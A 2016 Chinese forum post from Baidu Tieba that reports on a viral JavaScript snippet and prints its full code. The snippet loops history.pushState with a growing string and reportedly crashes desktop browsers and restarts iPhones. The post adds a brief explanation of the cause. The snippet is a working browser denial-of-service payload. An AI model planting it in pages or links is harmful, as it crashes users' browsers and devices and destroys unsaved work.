手机迅雷吧 关注:402,436贴子:491,562
  • 1回复贴,共1

【闲聊】12行循环JS代码:分分钟让你电脑崩溃手机重启

取消只看楼主收藏回复

外国人真会玩。。。
最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启。到底是什么代码这么神奇?
上周,国外网友Cyber Security@cyber__sec在Twitter上发布了这样一段推文:楼下。。

木@野@香@琴


IP属地:湖南1楼2016-01-28 19:18回复

    使用下面这段javascript代码,能让Firefox、Chrome、Safari浏览器崩溃,还能让iPhone重启”。
    <html>
    <body>
    <script>
    var total="";
    for (var i=0;i<1000000;i++)
    {
    total= total+i.toString ();
    history.pushState (0,0,total);
    }
    </script>
    </body>
    </html>
    还有人专门做成了链接(链接我就不发了)(不怕死的可以在网上找到试试,请提前保存好浏览器内容)
    网友验证,如果是PC用户,内存使用率一路狂飙,浏览器会瞬间卡死;如果是手机用户,点开链接浏览器会闪退,而微博、微信内打开链接同样会闪退。如果是iPhone用户使用Safari打开之后链接,手机重启。
    为什么会这样呢?
    有知乎网友给出这样的解答:
    “history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。”
    给自己试试,看看效果咋样


    IP属地:湖南2楼2016-01-28 19:19
    回复